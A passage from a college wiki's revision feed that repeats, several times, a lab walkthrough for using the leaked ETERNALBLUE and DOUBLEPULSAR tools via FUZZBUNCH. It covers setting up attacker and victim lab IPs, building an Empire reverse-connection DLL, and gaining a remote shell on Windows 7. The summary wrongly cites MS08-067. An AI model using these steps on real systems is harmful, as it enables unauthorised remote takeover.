&lt;br /&gt;
&lt;br /&gt;
Finally, we’ve obtained a Meterpreter shell on a Windows 7 SP1 x64 without needing for user&lt;br /&gt;
interaction, just with knowing its IP.&lt;br /&gt;
&lt;br /&gt;
Vulnerability detail: &lt;br /&gt;
&lt;br /&gt;
https://technet.microsoft.com/en-us/library/security/ms08-067.aspx&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120737</id>
		<title>NSA - MS17-010</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120737"/>
		<updated>2017-04-30T17:10:09Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Introduction */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Microsoft Security Bulletin MS17-010 - NSA Tool leak ==&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
At last April 8, TheShadowBrokers has published a bunch of tools that was stolen from the NSA Arsenal&lt;br /&gt;
Hacker Tools. A Github repository is the following: https://github.com/misterch0c/shadowbroker.&lt;br /&gt;
In this paper, we’ll focus on ETERNALBLUE exploit for Microsoft Windows and the plugin&lt;br /&gt;
DOUBLEPULSAR. To leverage these “fantastic” codes, we’ll be using FUZZBUNCH, The NSA’s&lt;br /&gt;
“Metasploit”&lt;br /&gt;
&lt;br /&gt;
Affected Software:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture17.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Why Eternalblue &amp;amp; DoublePulsar? ===&lt;br /&gt;
&lt;br /&gt;
ETERNALBLUE is the only one that can be used to attacking Windows 7 and Windows Server 2008 without needing authentication. After that, we&lt;br /&gt;
can use the plugin DOUBLEPULSAR in order that injecting remotely a malicious DLL on the target&lt;br /&gt;
machine.We wi ll make a malicious DLL using Empire to get&lt;br /&gt;
a reverse connection from the target to the attacker machine.&lt;br /&gt;
&lt;br /&gt;
=== Setting up Environment ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attacker:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7 ( To execute NSA tool ): &#039;&#039;&#039;192.168.0.106&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Kali Linux ( To generate DLL file and being a listener https://github.com/EmpireProject/Empire ): &#039;&#039;&#039;192.168.0.109&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Victim:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7/SVR2008 : &#039;&#039;&#039;192.168.0.107&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
We are going to use FUZZBUNCH, the NSA’s “Metasploit”. As mentioned above, this framework was&lt;br /&gt;
coded with Python 2.6 and it uses an old version of PyWin32: v2.12.&lt;br /&gt;
&lt;br /&gt;
Knowing that, we must install the following tools in our Windows XP attacker machine:&lt;br /&gt;
&lt;br /&gt;
- Python 2.6: https://www.python.org/download/releases/2.6/ (add it to the Windows’ PATH&lt;br /&gt;
environment variable)&lt;br /&gt;
&lt;br /&gt;
- PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/&lt;br /&gt;
&lt;br /&gt;
- Notepad++: https://notepad-plus-plus.org/download/ (You can also use Notepad).&lt;br /&gt;
&lt;br /&gt;
All of them are executable installers so we can just press “next, next, next, accept, next…”.&lt;br /&gt;
&lt;br /&gt;
When we finish our installations, we must open a cmd.exe and move to the folder where the tool was&lt;br /&gt;
downloaded, punctually where the FUZZBUNCH: “fb.py” is (inside the folder shadowbrokermaster/Windows) and then execute “python fb.py”.&lt;br /&gt;
&lt;br /&gt;
You will see that it won’t run correctly, the script will show you an error because it’s not finding the&lt;br /&gt;
directory named “ListeningPost”. This happens because inside the leak that specific folder is empty. So,&lt;br /&gt;
to avoid that error we edit “fb.py” and simply comment the line number 72:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture.PNG]]&lt;br /&gt;
&lt;br /&gt;
After that, we proceed to open the Fuzzbunch.xml file that is inside the same folder in order that replace&lt;br /&gt;
the paths on the line 19 and 24 for other ones that we could have in our own system, for example:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture2.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Executing the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
Now, we can execute again the command “python fb.py” and we should see that FUZZBUNCH is doing it&lt;br /&gt;
correctly:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture3.PNG]]&lt;br /&gt;
&lt;br /&gt;
When we initialize FUZZBUNCH, it will ask for a target IP address, we must write our target IP (Windows&lt;br /&gt;
7/2008 machine).&lt;br /&gt;
&lt;br /&gt;
Immediately, it will ask for a callback’s IP, we must specify the attacker IP (Windows XP machine).&lt;br /&gt;
&lt;br /&gt;
[[File:Capture4.PNG]]&lt;br /&gt;
&lt;br /&gt;
Press “enter” to continue and it will ask for a name to the project. We used the one already created&lt;br /&gt;
&amp;quot;eternal1&amp;quot;. If you don’t have any, press “enter” to be asked for a name. With that data, the log folder for&lt;br /&gt;
that project will be created.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture5.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using EternalBlue framework ===&lt;br /&gt;
&lt;br /&gt;
The first step is to select the exploit that we are going to use, which is ETERNALBLUE. So, we’ll execute&lt;br /&gt;
on the FUZZBUNCH terminal: “use EternalBlue”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture6.PNG]]&lt;br /&gt;
&lt;br /&gt;
From this point, we’ll use by default configurations in every parameter, EXCEPT at the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture7.PNG]]&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run ETERNALBLUE&lt;br /&gt;
&lt;br /&gt;
If all was as we expected, we should see the message “Eternalblue Succeeded”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture8.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Generating malicious DLL by using Empire===&lt;br /&gt;
&lt;br /&gt;
At this step, we need to create a malicious DLL (the Payload) which we’ll use with DOUBLEPULSAR to&lt;br /&gt;
remotely inject it into the target’s system previously impacted with ETERNALBLUE.&lt;br /&gt;
&lt;br /&gt;
To create the DLL, we need to move to the Linux attacker machine where we have installed the Empire&lt;br /&gt;
framework.&lt;br /&gt;
&lt;br /&gt;
Step 1: Set up a listener that can receive the reverse connection when the DLL is being injected&lt;br /&gt;
&lt;br /&gt;
[[File:Capture9.PNG]]&lt;br /&gt;
&lt;br /&gt;
Note: The IP address that we must to set at “Host” parameter is from the Linux attacker machine.&lt;br /&gt;
&lt;br /&gt;
Step 2: Create the malicious DLL&lt;br /&gt;
&lt;br /&gt;
[[File:Capture10.PNG]]&lt;br /&gt;
&lt;br /&gt;
Now we have our malicious DLL in /tmp/launcher.dll, we should simply copy that DLL to the Windows XP&lt;br /&gt;
attacker machine so we can use it with FUZZBUNCH.&lt;br /&gt;
&lt;br /&gt;
=== Injecting the malicious DLL via DoublePulsar ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Going back to the Windows XP attacker machine, we now run “use DoublePulsar” on the FUZZBUNCH&lt;br /&gt;
terminal.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture11.PNG]]&lt;br /&gt;
&lt;br /&gt;
Again, we’ll use every parameter with default configuration stopping when we reached the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture12.PNG]]&lt;br /&gt;
&lt;br /&gt;
We must select the architecture of the Windows 7/2008 target machine that we are going to impact (in&lt;br /&gt;
my case it is x64). Then, we’ll do the most important part of this step, we are going to indicate that we&lt;br /&gt;
want to perform a DLL injection (Option 2 – “RunDLL”).&lt;br /&gt;
&lt;br /&gt;
The framework will ask us for the local path where our malicious DLL is located (which is the one we&lt;br /&gt;
created with Empire and we copied to Windows XP attacker machine). The following parameters must&lt;br /&gt;
be used with default configuration.&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run DOUBLEPULSAR.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture13.PNG]]&lt;br /&gt;
&lt;br /&gt;
And if everything works cool…&lt;br /&gt;
&lt;br /&gt;
[[File:Capture14.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Getting Empire session ===&lt;br /&gt;
&lt;br /&gt;
[[File:Capture15.PNG]]&lt;br /&gt;
&lt;br /&gt;
Interact with victim&lt;br /&gt;
&lt;br /&gt;
[[File:Capture16.PNG]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;WE WIN!!!!!!&#039;&#039;&#039;&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finally, we’ve obtained a Meterpreter shell on a Windows 7 SP1 x64 without needing for user&lt;br /&gt;
interaction, just with knowing its IP.&lt;br /&gt;
&lt;br /&gt;
Vulnerability detail: &lt;br /&gt;
&lt;br /&gt;
https://technet.microsoft.com/en-us/library/security/ms08-067.aspx&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120736</id>
		<title>NSA - MS17-010</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120736"/>
		<updated>2017-04-30T17:09:53Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Introduction */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Microsoft Security Bulletin MS17-010 - NSA Tool leak ==&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
At last April 8, TheShadowBrokers has published a bunch of tools that was stolen from the NSA Arsenal&lt;br /&gt;
Hacker Tools. A Github repository is the following: https://github.com/misterch0c/shadowbroker.&lt;br /&gt;
In this paper, we’ll focus on ETERNALBLUE exploit for Microsoft Windows and the plugin&lt;br /&gt;
DOUBLEPULSAR. To leverage these “fantastic” codes, we’ll be using FUZZBUNCH, The NSA’s&lt;br /&gt;
“Metasploit”&lt;br /&gt;
&lt;br /&gt;
Affected Software:&lt;br /&gt;
&lt;br /&gt;
=== Why Eternalblue &amp;amp; DoublePulsar? ===&lt;br /&gt;
&lt;br /&gt;
ETERNALBLUE is the only one that can be used to attacking Windows 7 and Windows Server 2008 without needing authentication. After that, we&lt;br /&gt;
can use the plugin DOUBLEPULSAR in order that injecting remotely a malicious DLL on the target&lt;br /&gt;
machine.We wi ll make a malicious DLL using Empire to get&lt;br /&gt;
a reverse connection from the target to the attacker machine.&lt;br /&gt;
&lt;br /&gt;
=== Setting up Environment ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attacker:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7 ( To execute NSA tool ): &#039;&#039;&#039;192.168.0.106&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Kali Linux ( To generate DLL file and being a listener https://github.com/EmpireProject/Empire ): &#039;&#039;&#039;192.168.0.109&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Victim:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7/SVR2008 : &#039;&#039;&#039;192.168.0.107&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
We are going to use FUZZBUNCH, the NSA’s “Metasploit”. As mentioned above, this framework was&lt;br /&gt;
coded with Python 2.6 and it uses an old version of PyWin32: v2.12.&lt;br /&gt;
&lt;br /&gt;
Knowing that, we must install the following tools in our Windows XP attacker machine:&lt;br /&gt;
&lt;br /&gt;
- Python 2.6: https://www.python.org/download/releases/2.6/ (add it to the Windows’ PATH&lt;br /&gt;
environment variable)&lt;br /&gt;
&lt;br /&gt;
- PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/&lt;br /&gt;
&lt;br /&gt;
- Notepad++: https://notepad-plus-plus.org/download/ (You can also use Notepad).&lt;br /&gt;
&lt;br /&gt;
All of them are executable installers so we can just press “next, next, next, accept, next…”.&lt;br /&gt;
&lt;br /&gt;
When we finish our installations, we must open a cmd.exe and move to the folder where the tool was&lt;br /&gt;
downloaded, punctually where the FUZZBUNCH: “fb.py” is (inside the folder shadowbrokermaster/Windows) and then execute “python fb.py”.&lt;br /&gt;
&lt;br /&gt;
You will see that it won’t run correctly, the script will show you an error because it’s not finding the&lt;br /&gt;
directory named “ListeningPost”. This happens because inside the leak that specific folder is empty. So,&lt;br /&gt;
to avoid that error we edit “fb.py” and simply comment the line number 72:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture.PNG]]&lt;br /&gt;
&lt;br /&gt;
After that, we proceed to open the Fuzzbunch.xml file that is inside the same folder in order that replace&lt;br /&gt;
the paths on the line 19 and 24 for other ones that we could have in our own system, for example:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture2.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Executing the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
Now, we can execute again the command “python fb.py” and we should see that FUZZBUNCH is doing it&lt;br /&gt;
correctly:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture3.PNG]]&lt;br /&gt;
&lt;br /&gt;
When we initialize FUZZBUNCH, it will ask for a target IP address, we must write our target IP (Windows&lt;br /&gt;
7/2008 machine).&lt;br /&gt;
&lt;br /&gt;
Immediately, it will ask for a callback’s IP, we must specify the attacker IP (Windows XP machine).&lt;br /&gt;
&lt;br /&gt;
[[File:Capture4.PNG]]&lt;br /&gt;
&lt;br /&gt;
Press “enter” to continue and it will ask for a name to the project. We used the one already created&lt;br /&gt;
&amp;quot;eternal1&amp;quot;. If you don’t have any, press “enter” to be asked for a name. With that data, the log folder for&lt;br /&gt;
that project will be created.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture5.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using EternalBlue framework ===&lt;br /&gt;
&lt;br /&gt;
The first step is to select the exploit that we are going to use, which is ETERNALBLUE. So, we’ll execute&lt;br /&gt;
on the FUZZBUNCH terminal: “use EternalBlue”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture6.PNG]]&lt;br /&gt;
&lt;br /&gt;
From this point, we’ll use by default configurations in every parameter, EXCEPT at the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture7.PNG]]&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run ETERNALBLUE&lt;br /&gt;
&lt;br /&gt;
If all was as we expected, we should see the message “Eternalblue Succeeded”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture8.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Generating malicious DLL by using Empire===&lt;br /&gt;
&lt;br /&gt;
At this step, we need to create a malicious DLL (the Payload) which we’ll use with DOUBLEPULSAR to&lt;br /&gt;
remotely inject it into the target’s system previously impacted with ETERNALBLUE.&lt;br /&gt;
&lt;br /&gt;
To create the DLL, we need to move to the Linux attacker machine where we have installed the Empire&lt;br /&gt;
framework.&lt;br /&gt;
&lt;br /&gt;
Step 1: Set up a listener that can receive the reverse connection when the DLL is being injected&lt;br /&gt;
&lt;br /&gt;
[[File:Capture9.PNG]]&lt;br /&gt;
&lt;br /&gt;
Note: The IP address that we must to set at “Host” parameter is from the Linux attacker machine.&lt;br /&gt;
&lt;br /&gt;
Step 2: Create the malicious DLL&lt;br /&gt;
&lt;br /&gt;
[[File:Capture10.PNG]]&lt;br /&gt;
&lt;br /&gt;
Now we have our malicious DLL in /tmp/launcher.dll, we should simply copy that DLL to the Windows XP&lt;br /&gt;
attacker machine so we can use it with FUZZBUNCH.&lt;br /&gt;
&lt;br /&gt;
=== Injecting the malicious DLL via DoublePulsar ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Going back to the Windows XP attacker machine, we now run “use DoublePulsar” on the FUZZBUNCH&lt;br /&gt;
terminal.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture11.PNG]]&lt;br /&gt;
&lt;br /&gt;
Again, we’ll use every parameter with default configuration stopping when we reached the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture12.PNG]]&lt;br /&gt;
&lt;br /&gt;
We must select the architecture of the Windows 7/2008 target machine that we are going to impact (in&lt;br /&gt;
my case it is x64). Then, we’ll do the most important part of this step, we are going to indicate that we&lt;br /&gt;
want to perform a DLL injection (Option 2 – “RunDLL”).&lt;br /&gt;
&lt;br /&gt;
The framework will ask us for the local path where our malicious DLL is located (which is the one we&lt;br /&gt;
created with Empire and we copied to Windows XP attacker machine). The following parameters must&lt;br /&gt;
be used with default configuration.&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run DOUBLEPULSAR.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture13.PNG]]&lt;br /&gt;
&lt;br /&gt;
And if everything works cool…&lt;br /&gt;
&lt;br /&gt;
[[File:Capture14.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Getting Empire session ===&lt;br /&gt;
&lt;br /&gt;
[[File:Capture15.PNG]]&lt;br /&gt;
&lt;br /&gt;
Interact with victim&lt;br /&gt;
&lt;br /&gt;
[[File:Capture16.PNG]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;WE WIN!!!!!!&#039;&#039;&#039;&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finally, we’ve obtained a Meterpreter shell on a Windows 7 SP1 x64 without needing for user&lt;br /&gt;
interaction, just with knowing its IP.&lt;br /&gt;
&lt;br /&gt;
Vulnerability detail: &lt;br /&gt;
&lt;br /&gt;
https://technet.microsoft.com/en-us/library/security/ms08-067.aspx&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120735</id>
		<title>NSA - MS17-010</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120735"/>
		<updated>2017-04-30T17:09:29Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Microsoft Security Bulletin MS17-010 - NSA Tool leak ==&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
At last April 8, TheShadowBrokers has published a bunch of tools that was stolen from the NSA Arsenal&lt;br /&gt;
Hacker Tools. A Github repository is the following: https://github.com/misterch0c/shadowbroker.&lt;br /&gt;
In this paper, we’ll focus on ETERNALBLUE exploit for Microsoft Windows and the plugin&lt;br /&gt;
DOUBLEPULSAR. To leverage these “fantastic” codes, we’ll be using FUZZBUNCH, The NSA’s&lt;br /&gt;
“Metasploit”&lt;br /&gt;
&lt;br /&gt;
=== Why Eternalblue &amp;amp; DoublePulsar? ===&lt;br /&gt;
&lt;br /&gt;
ETERNALBLUE is the only one that can be used to attacking Windows 7 and Windows Server 2008 without needing authentication. After that, we&lt;br /&gt;
can use the plugin DOUBLEPULSAR in order that injecting remotely a malicious DLL on the target&lt;br /&gt;
machine.We wi ll make a malicious DLL using Empire to get&lt;br /&gt;
a reverse connection from the target to the attacker machine.&lt;br /&gt;
&lt;br /&gt;
=== Setting up Environment ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attacker:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7 ( To execute NSA tool ): &#039;&#039;&#039;192.168.0.106&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Kali Linux ( To generate DLL file and being a listener https://github.com/EmpireProject/Empire ): &#039;&#039;&#039;192.168.0.109&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Victim:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7/SVR2008 : &#039;&#039;&#039;192.168.0.107&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
We are going to use FUZZBUNCH, the NSA’s “Metasploit”. As mentioned above, this framework was&lt;br /&gt;
coded with Python 2.6 and it uses an old version of PyWin32: v2.12.&lt;br /&gt;
&lt;br /&gt;
Knowing that, we must install the following tools in our Windows XP attacker machine:&lt;br /&gt;
&lt;br /&gt;
- Python 2.6: https://www.python.org/download/releases/2.6/ (add it to the Windows’ PATH&lt;br /&gt;
environment variable)&lt;br /&gt;
&lt;br /&gt;
- PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/&lt;br /&gt;
&lt;br /&gt;
- Notepad++: https://notepad-plus-plus.org/download/ (You can also use Notepad).&lt;br /&gt;
&lt;br /&gt;
All of them are executable installers so we can just press “next, next, next, accept, next…”.&lt;br /&gt;
&lt;br /&gt;
When we finish our installations, we must open a cmd.exe and move to the folder where the tool was&lt;br /&gt;
downloaded, punctually where the FUZZBUNCH: “fb.py” is (inside the folder shadowbrokermaster/Windows) and then execute “python fb.py”.&lt;br /&gt;
&lt;br /&gt;
You will see that it won’t run correctly, the script will show you an error because it’s not finding the&lt;br /&gt;
directory named “ListeningPost”. This happens because inside the leak that specific folder is empty. So,&lt;br /&gt;
to avoid that error we edit “fb.py” and simply comment the line number 72:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture.PNG]]&lt;br /&gt;
&lt;br /&gt;
After that, we proceed to open the Fuzzbunch.xml file that is inside the same folder in order that replace&lt;br /&gt;
the paths on the line 19 and 24 for other ones that we could have in our own system, for example:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture2.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Executing the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
Now, we can execute again the command “python fb.py” and we should see that FUZZBUNCH is doing it&lt;br /&gt;
correctly:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture3.PNG]]&lt;br /&gt;
&lt;br /&gt;
When we initialize FUZZBUNCH, it will ask for a target IP address, we must write our target IP (Windows&lt;br /&gt;
7/2008 machine).&lt;br /&gt;
&lt;br /&gt;
Immediately, it will ask for a callback’s IP, we must specify the attacker IP (Windows XP machine).&lt;br /&gt;
&lt;br /&gt;
[[File:Capture4.PNG]]&lt;br /&gt;
&lt;br /&gt;
Press “enter” to continue and it will ask for a name to the project. We used the one already created&lt;br /&gt;
&amp;quot;eternal1&amp;quot;. If you don’t have any, press “enter” to be asked for a name. With that data, the log folder for&lt;br /&gt;
that project will be created.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture5.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using EternalBlue framework ===&lt;br /&gt;
&lt;br /&gt;
The first step is to select the exploit that we are going to use, which is ETERNALBLUE. So, we’ll execute&lt;br /&gt;
on the FUZZBUNCH terminal: “use EternalBlue”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture6.PNG]]&lt;br /&gt;
&lt;br /&gt;
From this point, we’ll use by default configurations in every parameter, EXCEPT at the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture7.PNG]]&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run ETERNALBLUE&lt;br /&gt;
&lt;br /&gt;
If all was as we expected, we should see the message “Eternalblue Succeeded”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture8.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Generating malicious DLL by using Empire===&lt;br /&gt;
&lt;br /&gt;
At this step, we need to create a malicious DLL (the Payload) which we’ll use with DOUBLEPULSAR to&lt;br /&gt;
remotely inject it into the target’s system previously impacted with ETERNALBLUE.&lt;br /&gt;
&lt;br /&gt;
To create the DLL, we need to move to the Linux attacker machine where we have installed the Empire&lt;br /&gt;
framework.&lt;br /&gt;
&lt;br /&gt;
Step 1: Set up a listener that can receive the reverse connection when the DLL is being injected&lt;br /&gt;
&lt;br /&gt;
[[File:Capture9.PNG]]&lt;br /&gt;
&lt;br /&gt;
Note: The IP address that we must to set at “Host” parameter is from the Linux attacker machine.&lt;br /&gt;
&lt;br /&gt;
Step 2: Create the malicious DLL&lt;br /&gt;
&lt;br /&gt;
[[File:Capture10.PNG]]&lt;br /&gt;
&lt;br /&gt;
Now we have our malicious DLL in /tmp/launcher.dll, we should simply copy that DLL to the Windows XP&lt;br /&gt;
attacker machine so we can use it with FUZZBUNCH.&lt;br /&gt;
&lt;br /&gt;
=== Injecting the malicious DLL via DoublePulsar ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Going back to the Windows XP attacker machine, we now run “use DoublePulsar” on the FUZZBUNCH&lt;br /&gt;
terminal.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture11.PNG]]&lt;br /&gt;
&lt;br /&gt;
Again, we’ll use every parameter with default configuration stopping when we reached the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture12.PNG]]&lt;br /&gt;
&lt;br /&gt;
We must select the architecture of the Windows 7/2008 target machine that we are going to impact (in&lt;br /&gt;
my case it is x64). Then, we’ll do the most important part of this step, we are going to indicate that we&lt;br /&gt;
want to perform a DLL injection (Option 2 – “RunDLL”).&lt;br /&gt;
&lt;br /&gt;
The framework will ask us for the local path where our malicious DLL is located (which is the one we&lt;br /&gt;
created with Empire and we copied to Windows XP attacker machine). The following parameters must&lt;br /&gt;
be used with default configuration.&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run DOUBLEPULSAR.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture13.PNG]]&lt;br /&gt;
&lt;br /&gt;
And if everything works cool…&lt;br /&gt;
&lt;br /&gt;
[[File:Capture14.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Getting Empire session ===&lt;br /&gt;
&lt;br /&gt;
[[File:Capture15.PNG]]&lt;br /&gt;
&lt;br /&gt;
Interact with victim&lt;br /&gt;
&lt;br /&gt;
[[File:Capture16.PNG]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;WE WIN!!!!!!&#039;&#039;&#039;&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finally, we’ve obtained a Meterpreter shell on a Windows 7 SP1 x64 without needing for user&lt;br /&gt;
interaction, just with knowing its IP.&lt;br /&gt;
&lt;br /&gt;
Vulnerability detail: &lt;br /&gt;
&lt;br /&gt;
https://technet.microsoft.com/en-us/library/security/ms08-067.aspx&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=File:Capture17.PNG&amp;diff=120734</id>
		<title>File:Capture17.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=File:Capture17.PNG&amp;diff=120734"/>
		<updated>2017-04-30T17:09:20Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120733</id>
		<title>NSA - MS17-010</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120733"/>
		<updated>2017-04-30T17:07:43Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Getting Empire session */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Microsoft Security Bulletin MS17-010 - NSA Tool leak ==&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
At last April 8, TheShadowBrokers has published a bunch of tools that was stolen from the NSA Arsenal&lt;br /&gt;
Hacker Tools. A Github repository is the following: https://github.com/misterch0c/shadowbroker.&lt;br /&gt;
In this paper, we’ll focus on ETERNALBLUE exploit for Microsoft Windows and the plugin&lt;br /&gt;
DOUBLEPULSAR. To leverage these “fantastic” codes, we’ll be using FUZZBUNCH, The NSA’s&lt;br /&gt;
“Metasploit”&lt;br /&gt;
&lt;br /&gt;
=== Why Eternalblue &amp;amp; DoublePulsar? ===&lt;br /&gt;
&lt;br /&gt;
ETERNALBLUE is the only one that can be used to attacking Windows 7 and Windows Server 2008 without needing authentication. After that, we&lt;br /&gt;
can use the plugin DOUBLEPULSAR in order that injecting remotely a malicious DLL on the target&lt;br /&gt;
machine.We wi ll make a malicious DLL using Empire to get&lt;br /&gt;
a reverse connection from the target to the attacker machine.&lt;br /&gt;
&lt;br /&gt;
=== Setting up Environment ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attacker:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7 ( To execute NSA tool ): &#039;&#039;&#039;192.168.0.106&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Kali Linux ( To generate DLL file and being a listener https://github.com/EmpireProject/Empire ): &#039;&#039;&#039;192.168.0.109&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Victim:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7/SVR2008 : &#039;&#039;&#039;192.168.0.107&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
We are going to use FUZZBUNCH, the NSA’s “Metasploit”. As mentioned above, this framework was&lt;br /&gt;
coded with Python 2.6 and it uses an old version of PyWin32: v2.12.&lt;br /&gt;
&lt;br /&gt;
